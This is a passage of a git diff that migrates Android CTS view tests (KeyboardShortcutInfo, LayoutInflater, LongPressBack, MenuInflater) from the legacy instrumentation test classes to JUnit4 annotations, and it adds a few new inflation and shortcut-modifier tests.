     public void testWriteToParcelAndRead() {
         Parcel dest = Parcel.obtain();
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, TEST_ITEMS, true);
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
index 76dc43f..b2e809d 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
@@ -1,20 +1,44 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
 package android.view.cts;
 
-import android.graphics.drawable.Icon;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
 import android.os.Parcel;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.KeyboardShortcutInfo;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Tests for {@link android.view.KeyboardShortcutInfo}.
  */
-public class KeyboardShortcutInfoTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyboardShortcutInfoTest {
     private static final CharSequence TEST_LABEL = "Test Label";
     private static final char TEST_BASE_CHARACTER = 't';
     private static final int TEST_KEYCODE = KeyEvent.KEYCODE_T;
     private static final int TEST_MODIFIERS = KeyEvent.META_ALT_ON | KeyEvent.META_CTRL_ON;
 
+    @Test
     public void testCharacterConstructor() {
         KeyboardShortcutInfo info = new KeyboardShortcutInfo(
                 TEST_LABEL, TEST_BASE_CHARACTER, TEST_MODIFIERS);
@@ -26,6 +50,7 @@
         assertEquals(0, info.describeContents());
     }
 
+    @Test
     public void testKeycodeConstructor() {
         KeyboardShortcutInfo info = new KeyboardShortcutInfo(
                 TEST_LABEL, TEST_KEYCODE, TEST_MODIFIERS);
@@ -37,26 +62,17 @@
         assertEquals(0, info.describeContents());
     }
 
+    @Test(expected=IllegalArgumentException.class)
     public void testConstructorChecksBaseCharacter() {
-        try {
-            KeyboardShortcutInfo info = new KeyboardShortcutInfo(
-                    TEST_LABEL, Character.MIN_VALUE, TEST_MODIFIERS);
-        } catch (IllegalArgumentException expected) {
-            return;
-        }
-        fail();
+        new KeyboardShortcutInfo(TEST_LABEL, Character.MIN_VALUE, TEST_MODIFIERS);
     }
 
+    @Test(expected=IllegalArgumentException.class)
     public void testConstructorChecksKeycode() {
-        try {
-            KeyboardShortcutInfo info = new KeyboardShortcutInfo(
-                    TEST_LABEL, KeyEvent.KEYCODE_UNKNOWN - 1, TEST_MODIFIERS);
-        } catch (IllegalArgumentException expected) {
-            return;
-        }
-        fail();
+        new KeyboardShortcutInfo(TEST_LABEL, KeyEvent.KEYCODE_UNKNOWN - 1, TEST_MODIFIERS);
     }
 
+    @Test
     public void testWriteToParcelAndReadCharacter() {
         Parcel dest = Parcel.obtain();
         KeyboardShortcutInfo info = new KeyboardShortcutInfo(
@@ -72,6 +88,7 @@
         assertEquals(TEST_MODIFIERS, result.getModifiers());
     }
 
+    @Test
     public void testWriteToParcelAndReadKeycode() {
         Parcel dest = Parcel.obtain();
         KeyboardShortcutInfo info = new KeyboardShortcutInfo(
diff --git a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
index 9208b13..3460525 100644
--- a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
@@ -16,10 +16,13 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-import android.view.cts.util.XmlUtils;
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ComponentName;
 import android.content.Context;
@@ -28,50 +31,52 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.TypedValue;
 import android.util.Xml;
+import android.view.ContextThemeWrapper;
 import android.view.Gravity;
 import android.view.InflateException;
 import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
 import android.view.LayoutInflater.Factory;
 import android.view.LayoutInflater.Filter;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.cts.util.XmlUtils;
 import android.widget.LinearLayout;
 
-public class LayoutInflaterTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutInflaterTest {
     private LayoutInflater mLayoutInflater;
 
-    @SuppressWarnings("hiding")
     private Context mContext;
 
-    private final Factory mFactory = new Factory() {
-        @Override
-        public View onCreateView(String name, Context context, AttributeSet attrs) {
-            return null;
-        }
-    };
+    private final Factory mFactory = (String name, Context context, AttributeSet attrs) -> null;
+
     private boolean isOnLoadClass;
-    private final Filter mFilter = new Filter() {
-        @SuppressWarnings({ "unchecked", "rawtypes" })
-        @Override
-        public boolean onLoadClass(Class clazz) {
-            isOnLoadClass = true;
-            return true;
-        }
 
+    private final Filter mFilter = (Class clazz) -> {
+        isOnLoadClass = true;
+        return true;
     };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getContext();
-        mLayoutInflater = (LayoutInflater) mContext
-                .getSystemService(Context.LAYOUT_INFLATER_SERVICE);
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mLayoutInflater = (LayoutInflater) mContext.getSystemService(
+                Context.LAYOUT_INFLATER_SERVICE);
     }
 
+    @Test
     public void testFrom() {
         mLayoutInflater = null;
         mLayoutInflater = LayoutInflater.from(mContext);
@@ -85,12 +90,13 @@
         assertNotNull(layoutInflater);
     }
 
+    @Test
     public void testAccessLayoutInflaterProperties() {
         mLayoutInflater.setFilter(mFilter);
         assertSame(mFilter, mLayoutInflater.getFilter());
         mLayoutInflater.setFactory(mFactory);
         assertSame(mFactory, mLayoutInflater.getFactory());
-        mLayoutInflater=new MockLayoutInflater(mContext);
+        mLayoutInflater = new MockLayoutInflater(mContext);
         assertSame(mContext, mLayoutInflater.getContext());
     }
 
@@ -131,14 +137,13 @@
         return attrs;
     }
 
+    @Test
     public void testCreateView() {
-
         AttributeSet attrs = getAttrs();
         isOnLoadClass = false;
         View view = null;
         try {
-            view = mLayoutInflater
-                    .createView("testthrow", "com.android", attrs);
+            view = mLayoutInflater.createView("testthrow", "com.android", attrs);
             fail("should throw exception");
         } catch (InflateException e) {
         } catch (ClassNotFoundException e) {
@@ -148,13 +153,9 @@
         mLayoutInflater = null;
         mLayoutInflater = LayoutInflater.from(mContext);
         isOnLoadClass = false;
-        mLayoutInflater.setFilter(new Filter() {
-            @SuppressWarnings({ "unchecked", "rawtypes" })
-            @Override
-            public boolean onLoadClass(Class clazz) {
-                isOnLoadClass = true;
-                return false;
-            }
+        mLayoutInflater.setFilter((Class clazz) -> {
+            isOnLoadClass = true;
+            return false;
         });
         try {
             view = mLayoutInflater.createView("MockActivity",
@@ -208,162 +209,151 @@
         }
     }
 
+    @Test(expected=Resources.NotFoundException.class)
+    public void testInflateInvalidId() {
+        mLayoutInflater.inflate(-1, null);
+    }
+
+    @Test
     public void testInflate() {
         View view = mLayoutInflater.inflate(
                 android.view.cts.R.layout.inflater_layout, null);
         assertNotNull(view);
-        view = null;
-        try {
-            view = mLayoutInflater.inflate(-1, null);
-            fail("should throw exception");
-        } catch (Resources.NotFoundException e) {
-        }
-        LinearLayout mLayout;
-        mLayout = new LinearLayout(mContext);
-        mLayout.setOrientation(LinearLayout.VERTICAL);
-        mLayout.setHorizontalGravity(Gravity.LEFT);
-        mLayout.setLayoutParams(new ViewGroup.LayoutParams(
+
+        LinearLayout linearLayout = new LinearLayout(mContext);
+        linearLayout.setOrientation(LinearLayout.VERTICAL);
+        linearLayout.setHorizontalGravity(Gravity.LEFT);
+        linearLayout.setLayoutParams(new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.MATCH_PARENT));
-        assertEquals(0, mLayout.getChildCount());
+        assertEquals(0, linearLayout.getChildCount());
         view = mLayoutInflater.inflate(R.layout.inflater_layout,
-                mLayout);
+                linearLayout);
         assertNotNull(view);
-        assertEquals(1, mLayout.getChildCount());
+        assertEquals(1, linearLayout.getChildCount());
     }
 
-    public void testInflate2() {
+    @Test(expected=Resources.NotFoundException.class)
+    public void testInflateAttachToRootInvalidId() {
+        mLayoutInflater.inflate(-1, null, false);
+    }
+
+    @Test
+    public void testInflateAttachToRoot() {
         View view = mLayoutInflater.inflate(
                 R.layout.inflater_layout, null, false);
         assertNotNull(view);
-        view = null;
-        try {
-            view = mLayoutInflater.inflate(-1, null, false);
-            fail("should throw exception");
-        } catch (Resources.NotFoundException e) {
 
-        }
-        LinearLayout mLayout;
-        mLayout = new LinearLayout(mContext);
-        mLayout.setOrientation(LinearLayout.VERTICAL);
-        mLayout.setHorizontalGravity(Gravity.LEFT);
-        mLayout.setLayoutParams(new ViewGroup.LayoutParams(
+        LinearLayout linearLayout = new LinearLayout(mContext);
+        linearLayout.setOrientation(LinearLayout.VERTICAL);
+        linearLayout.setHorizontalGravity(Gravity.LEFT);
+        linearLayout.setLayoutParams(new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.MATCH_PARENT));
-        assertEquals(0, mLayout.getChildCount());
+        assertEquals(0, linearLayout.getChildCount());
         view = mLayoutInflater.inflate(R.layout.inflater_layout,
-                mLayout, false);
+                linearLayout, false);
         assertNotNull(view);
-        assertEquals(0, mLayout.getChildCount());
+        assertEquals(0, linearLayout.getChildCount());
 
-        view = null;
         view = mLayoutInflater.inflate(R.layout.inflater_layout,
-                mLayout, true);
+                linearLayout, true);
         assertNotNull(view);
-        assertEquals(1, mLayout.getChildCount());
+        assertEquals(1, linearLayout.getChildCount());
     }
 
-    public void testInflate3() {
-        XmlResourceParser parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
+    @Test(expected=NullPointerException.class)
+    public void testInflateParserNullParser() {
+        mLayoutInflater.inflate(null, null);
+    }
+
+    @Test
+    public void testInflateParser() {
+        XmlResourceParser parser = mContext.getResources().getLayout(R.layout.inflater_layout);
         View view = mLayoutInflater.inflate(parser, null);
         assertNotNull(view);
-        view = null;
-        try {
-            view = mLayoutInflater.inflate(null, null);
-            fail("should throw exception");
-        } catch (NullPointerException e) {
-        }
-        LinearLayout mLayout;
-        mLayout = new LinearLayout(mContext);
-        mLayout.setOrientation(LinearLayout.VERTICAL);
-        mLayout.setHorizontalGravity(Gravity.LEFT);
-        mLayout.setLayoutParams(new ViewGroup.LayoutParams(
+
+        LinearLayout linearLayout = new LinearLayout(mContext);
+        linearLayout.setOrientation(LinearLayout.VERTICAL);
+        linearLayout.setHorizontalGravity(Gravity.LEFT);
+        linearLayout.setLayoutParams(new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.MATCH_PARENT));
-        assertEquals(0, mLayout.getChildCount());
+        assertEquals(0, linearLayout.getChildCount());
 
         try {
-            view = mLayoutInflater.inflate(parser, mLayout);
+            mLayoutInflater.inflate(parser, linearLayout);
             fail("should throw exception");
         } catch (NullPointerException e) {
         }
-        parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
-        view = mLayoutInflater.inflate(parser, mLayout);
-        assertNotNull(view);
-        assertEquals(1, mLayout.getChildCount());
-        parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
-        view = mLayoutInflater.inflate(parser, mLayout);
-        assertNotNull(view);
-        assertEquals(2, mLayout.getChildCount());
 
-        parser = null;
-        view = null;
+        parser = mContext.getResources().getLayout(R.layout.inflater_layout);
+        view = mLayoutInflater.inflate(parser, linearLayout);
+        assertNotNull(view);
+        assertEquals(1, linearLayout.getChildCount());
+        parser = mContext.getResources().getLayout(R.layout.inflater_layout);
+        view = mLayoutInflater.inflate(parser, linearLayout);
+        assertNotNull(view);
+        assertEquals(2, linearLayout.getChildCount());
+
         parser = getParser();
-
-        view = mLayoutInflater.inflate(parser, mLayout);
+        view = mLayoutInflater.inflate(parser, linearLayout);
         assertNotNull(view);
-        assertEquals(3, mLayout.getChildCount());
+        assertEquals(3, linearLayout.getChildCount());
     }
 
-    public void testInflate4() {
-        XmlResourceParser parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
+    @Test(expected=NullPointerException.class)
+    public void testInflateParserAttachToRootNullParser() {
+        mLayoutInflater.inflate(null, null, false);
+    }
+
+    @Test
+    public void testInflateParserAttachToRoot() {
+        XmlResourceParser parser = mContext.getResources().getLayout(R.layout.inflater_layout);
         View view = mLayoutInflater.inflate(parser, null, false);
         assertNotNull(view);
-        view = null;
-        try {
-            view = mLayoutInflater.inflate(null, null, false);
-            fail("should throw exception");
-        } catch (NullPointerException e) {
-        }
-        LinearLayout mLayout;
-        mLayout = new LinearLayout(mContext);
-        mLayout.setOrientation(LinearLayout.VERTICAL);
-        mLayout.setHorizontalGravity(Gravity.LEFT);
-        mLayout.setLayoutParams(new ViewGroup.LayoutParams(
+
+        LinearLayout linearLayout = new LinearLayout(mContext);
+        linearLayout.setOrientation(LinearLayout.VERTICAL);
+        linearLayout.setHorizontalGravity(Gravity.LEFT);
+        linearLayout.setLayoutParams(new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.MATCH_PARENT));
-        assertEquals(0, mLayout.getChildCount());
+        assertEquals(0, linearLayout.getChildCount());
 
         try {
-            view = mLayoutInflater.inflate(parser, mLayout, false);
+            mLayoutInflater.inflate(parser, linearLayout, false);
             fail("should throw exception");
         } catch (NullPointerException e) {
         }
-        parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
-        view = mLayoutInflater.inflate(parser, mLayout, false);
-        assertNull(view.getParent());
-        assertNotNull(view);
-        assertEquals(0, mLayout.getChildCount());
-        parser = getContext().getResources().getLayout(
-                R.layout.inflater_layout);
-        assertEquals(0, mLayout.getChildCount());
-        view = mLayoutInflater.inflate(parser, mLayout, true);
-        assertNotNull(view);
-        assertNull(view.getParent());
-        assertEquals(1, mLayout.getChildCount());
 
-        parser = null;
+        parser = mContext.getResources().getLayout(R.layout.inflater_layout);
+        view = mLayoutInflater.inflate(parser, linearLayout, false);
+        assertNull(view.getParent());
+        assertNotNull(view);
+        assertEquals(0, linearLayout.getChildCount());
+        parser = mContext.getResources().getLayout(R.layout.inflater_layout);
+        assertEquals(0, linearLayout.getChildCount());
+        view = mLayoutInflater.inflate(parser, linearLayout, true);
+        assertNotNull(view);
+        assertNull(view.getParent());
+        assertEquals(1, linearLayout.getChildCount());
+
         parser = getParser();
         try {
-            view = mLayoutInflater.inflate(parser, mLayout, false);
+            mLayoutInflater.inflate(parser, linearLayout, false);
             fail("should throw exception");
         } catch (InflateException e) {
         }
 
-        parser = null;
-        view = null;
         parser = getParser();
 
-        view = mLayoutInflater.inflate(parser, mLayout, true);
+        view = mLayoutInflater.inflate(parser, linearLayout, true);
         assertNotNull(view);
-        assertEquals(2, mLayout.getChildCount());
+        assertEquals(2, linearLayout.getChildCount());
     }
 
+    @Test
     public void testOverrideTheme() {
         View container = mLayoutInflater.inflate(R.layout.inflater_override_theme_layout, null);
         verifyThemeType(container, "view_outer", R.id.view_outer, 1);
@@ -383,6 +373,7 @@
         assertEquals(tag + " has themeType " + type, type, outValue.data);
     }
 
+    @Test
     public void testInflateTags() {
         final View view = mLayoutInflater.inflate(
                 android.view.cts.R.layout.inflater_layout_tags, null);
@@ -405,6 +396,22 @@
         assertEquals(tagId + " has tag " + expectedValue, expectedValue, tag);
     }
 
+    @Test
+    public void testInclude() {
+        final Context themedContext = new ContextThemeWrapper(mContext, R.style.Test_Theme);
+        final LayoutInflater inflater = LayoutInflater.from(themedContext);
+
+        final View container = inflater.inflate(R.layout.inflater_layout_include, null);
+        assertNotNull(container.findViewById(R.id.include_layout_explicit));
+        assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+    }
+
+    @Test(expected = InflateException.class)
+    public void testIncludeMissingAttr() {
+        final View container = mLayoutInflater.inflate(R.layout.inflater_layout_include, null);
+        assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+    }
+
     static class MockLayoutInflater extends LayoutInflater {
 
         public MockLayoutInflater(Context c) {
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackActivity.java b/tests/tests/view/src/android/view/cts/LongPressBackActivity.java
index 55bcdd5..6df956d 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackActivity.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackActivity.java
@@ -16,9 +16,6 @@
 
 package android.view.cts;
 
-import android.view.MotionEvent;
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.KeyEvent;
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index ade44c9..5ee9753 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -16,32 +16,33 @@
 
 package android.view.cts;
 
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+
 import android.app.UiAutomation;
 import android.content.pm.PackageManager;
+import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
-import android.view.ViewConfiguration;
-
 import android.view.KeyEvent;
+import android.view.ViewConfiguration;
 
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static junit.framework.TestCase.*;
-
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class LongPressBackTest {
-    static final String TAG = "LongPressBackTest";
+    private LongPressBackActivity mActivity;
 
     @Rule
     public ActivityTestRule<LongPressBackActivity> mActivityRule =
             new ActivityTestRule<>(LongPressBackActivity.class);
 
-    private LongPressBackActivity mActivity;
-
     @Before
     public void setUp() {
         mActivity = mActivityRule.getActivity();
@@ -52,7 +53,7 @@
      * non-watch devices
      */
     @Test
-    public void testAppIsNotDismissed() throws Exception {
+    public void testAppIsNotDismissed() {
         // Only run for non-watch devices
         if (mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
             return;
@@ -68,7 +69,7 @@
 
         // Wait long press time plus a few ms to ensure events get triggered
         long timeout = ViewConfiguration.get(mActivity).getDeviceGlobalActionKeyTimeout();
-        try { Thread.sleep(timeout + 500); } catch (InterruptedException ignored) {}
+        SystemClock.sleep(timeout + 500);
 
         // Activity should not have been stopped and back key down should have been registered
         assertFalse(mActivity.wasPaused());
diff --git a/tests/tests/view/src/android/view/cts/MenuInflaterCtsActivity.java b/tests/tests/view/src/android/view/cts/MenuInflaterCtsActivity.java
deleted file mode 100644
index 75adede..0000000
--- a/tests/tests/view/src/android/view/cts/MenuInflaterCtsActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.app.Activity;
-import android.view.MenuInflater;
-
-/**
- * Stub activity for testing {@link MenuInflater}.
- *
- * @see MenuInflaterTest
- */
-public class MenuInflaterCtsActivity extends Activity {
-}
diff --git a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
index 9ced9c7..40d95f7 100644
--- a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
@@ -16,194 +16,251 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.content.res.Resources;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.drawable.BitmapDrawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
 import android.view.Menu;
 import android.view.MenuInflater;
+import android.view.MenuItem;
 import android.view.SubMenu;
 import android.widget.PopupMenu;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link MenuInflater}.
  */
-public class MenuInflaterTest extends ActivityInstrumentationTestCase2<MenuInflaterCtsActivity> {
-    private MenuInflater mMenuInflater;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MenuInflaterTest {
     private Activity mActivity;
+    private MenuInflater mMenuInflater;
+    private Menu mMenu;
 
-    public MenuInflaterTest() {
-        super("android.view.cts", MenuInflaterCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    private Menu createMenu(Activity context) {
-        return new PopupMenu(context, null).getMenu();
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mMenuInflater = mActivity.getMenuInflater();
+        mMenu = new PopupMenu(mActivity, null).getMenu();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new MenuInflater(mActivity);
     }
 
     @UiThreadTest
+    @Test
     public void testInflate() {
-        Menu menu = createMenu(mActivity);
-        assertEquals(0, menu.size());
+        assertEquals(0, mMenu.size());
 
-        if (mMenuInflater == null) {
-            mMenuInflater = mActivity.getMenuInflater();
-        }
-
-        mMenuInflater.inflate(android.view.cts.R.menu.browser, menu);
-        assertNotNull(menu);
-        assertEquals(1, menu.size());
-
-        try {
-            mMenuInflater.inflate(0, menu);
-            fail("should throw Resources.NotFoundException");
-        } catch (Resources.NotFoundException e) {
-        }
-
-        try {
-            mMenuInflater.inflate(android.view.cts.R.menu.browser, null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        mMenuInflater.inflate(R.menu.browser, mMenu);
+        assertEquals(1, mMenu.size());
     }
 
-    // Check wheher the objects are created correctly from xml files
     @UiThreadTest
-    public void testInflateFromXml(){
-        if (mMenuInflater == null) {
-            mMenuInflater = mActivity.getMenuInflater();
-        }
+    @Test(expected=Resources.NotFoundException.class)
+    public void testInflateInvalidId() {
+        mMenuInflater.inflate(0, mMenu);
+    }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testInflateNullMenu() {
+        mMenuInflater.inflate(R.menu.browser, null);
+    }
+
+    // Check whether the objects are created correctly from xml files
+    @UiThreadTest
+    @Test
+    public void testInflateAlphabeticShortcutFromXml() {
         // the visibility and shortcut
-        Menu menu = createMenu(mActivity);
-        mMenuInflater.inflate(R.menu.visible_shortcut, menu);
+        mMenuInflater.inflate(R.menu.visible_shortcut, mMenu);
 
-        assertTrue(menu.findItem(R.id.visible_item).isVisible());
-        assertEquals('a', menu.findItem(R.id.visible_item).getAlphabeticShortcut());
+        assertTrue(mMenu.findItem(R.id.visible_item).isVisible());
+        assertEquals('a', mMenu.findItem(R.id.visible_item).getAlphabeticShortcut());
 
-        assertFalse(menu.findItem(R.id.hidden_item).isVisible());
-        assertEquals('b', menu.findItem(R.id.hidden_item).getAlphabeticShortcut());
+        assertFalse(mMenu.findItem(R.id.hidden_item).isVisible());
+        assertEquals('b', mMenu.findItem(R.id.hidden_item).getAlphabeticShortcut());
 
-        assertEquals(R.id.hidden_group, menu.findItem(R.id.hidden_by_group).getGroupId());
-        assertFalse(menu.findItem(R.id.hidden_by_group).isVisible());
-        assertEquals('c', menu.findItem(R.id.hidden_by_group).getAlphabeticShortcut());
+        assertEquals(R.id.hidden_group, mMenu.findItem(R.id.hidden_by_group).getGroupId());
+        assertFalse(mMenu.findItem(R.id.hidden_by_group).isVisible());
+        assertEquals('c', mMenu.findItem(R.id.hidden_by_group).getAlphabeticShortcut());
+    }
 
+    @UiThreadTest
+    @Test
+    public void testInflateShortcutModifiersFromXml() {
+        mMenuInflater.inflate(R.menu.visible_shortcut, mMenu);
+        MenuItem mMenuItem;
+
+        mMenuItem = mMenu.findItem(R.id.no_modifiers);
+        assertEquals('d', mMenuItem.getAlphabeticShortcut());
+        assertEquals(KeyEvent.META_CTRL_ON, mMenuItem.getAlphabeticModifiers());
+
+        mMenuItem = mMenu.findItem(R.id.default_modifiers);
+        assertEquals('e', mMenuItem.getAlphabeticShortcut());
+        assertEquals(KeyEvent.META_CTRL_ON, mMenuItem.getAlphabeticModifiers());
+
+        mMenuItem = mMenu.findItem(R.id.single_modifier);
+        assertEquals('f', mMenuItem.getAlphabeticShortcut());
+        assertEquals(KeyEvent.META_SHIFT_ON, mMenuItem.getAlphabeticModifiers());
+
+        mMenuItem = mMenu.findItem(R.id.multiple_modifiers);
+        assertEquals('g', mMenuItem.getAlphabeticShortcut());
+        assertEquals(KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON,
+                mMenuItem.getAlphabeticModifiers());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflateDrawableFromXml() {
         // the titles and icons
-        menu = createMenu(mActivity);
-        mMenuInflater.inflate(android.view.cts.R.menu.title_icon, menu);
+        mMenuInflater.inflate(R.menu.title_icon, mMenu);
 
-        assertEquals("Start", menu.findItem(R.id.start).getTitle());
-        assertIconUsingDrawableRes((BitmapDrawable) menu.findItem(R.id.start).getIcon(),
+        assertEquals("Start", mMenu.findItem(R.id.start).getTitle());
+        verifyDrawableContent((BitmapDrawable) mMenu.findItem(R.id.start).getIcon(),
                 R.drawable.start);
 
-        assertEquals("Pass", menu.findItem(R.id.pass).getTitle());
-        assertIconUsingDrawableRes((BitmapDrawable) menu.findItem(R.id.pass).getIcon(),
+        assertEquals("Pass", mMenu.findItem(R.id.pass).getTitle());
+        verifyDrawableContent((BitmapDrawable) mMenu.findItem(R.id.pass).getIcon(),
                 R.drawable.pass);
 
-        assertEquals("Failed", menu.findItem(R.id.failed).getTitle());
-        assertIconUsingDrawableRes((BitmapDrawable) menu.findItem(R.id.failed).getIcon(),
+        assertEquals("Failed", mMenu.findItem(R.id.failed).getTitle());
+        verifyDrawableContent((BitmapDrawable) mMenu.findItem(R.id.failed).getIcon(),
                 R.drawable.failed);
+    }
 
+    @UiThreadTest
+    @Test
+    public void testInflateOrderFromXml() {
         // the orders and categories
-        menu = createMenu(mActivity);
-        mMenuInflater.inflate(android.view.cts.R.menu.category_order, menu);
+        mMenuInflater.inflate(R.menu.category_order, mMenu);
         // default category
-        assertEquals(R.id.most_used_items, menu.findItem(R.id.first_most_item).getGroupId());
-        assertEquals(1, menu.findItem(R.id.first_most_item).getOrder());
+        assertEquals(R.id.most_used_items, mMenu.findItem(R.id.first_most_item).getGroupId());
+        assertEquals(1, mMenu.findItem(R.id.first_most_item).getOrder());
 
-        assertEquals(R.id.most_used_items, menu.findItem(R.id.middle_most_item).getGroupId());
-        assertEquals(3, menu.findItem(R.id.middle_most_item).getOrder());
+        assertEquals(R.id.most_used_items, mMenu.findItem(R.id.middle_most_item).getGroupId());
+        assertEquals(3, mMenu.findItem(R.id.middle_most_item).getOrder());
 
-        assertEquals(R.id.most_used_items, menu.findItem(R.id.last_most_item).getGroupId());
-        assertEquals(5, menu.findItem(R.id.last_most_item).getOrder());
+        assertEquals(R.id.most_used_items, mMenu.findItem(R.id.last_most_item).getGroupId());
+        assertEquals(5, mMenu.findItem(R.id.last_most_item).getOrder());
 
         // specific category (CATEGORY_SECONDARY)
-        assertEquals(R.id.least_used_items, menu.findItem(R.id.first_least_item).getGroupId());
-        assertEquals(Menu.CATEGORY_SECONDARY + 0, menu.findItem(R.id.first_least_item).getOrder());
+        assertEquals(R.id.least_used_items, mMenu.findItem(R.id.first_least_item).getGroupId());
+        assertEquals(Menu.CATEGORY_SECONDARY + 0, mMenu.findItem(R.id.first_least_item).getOrder());
 
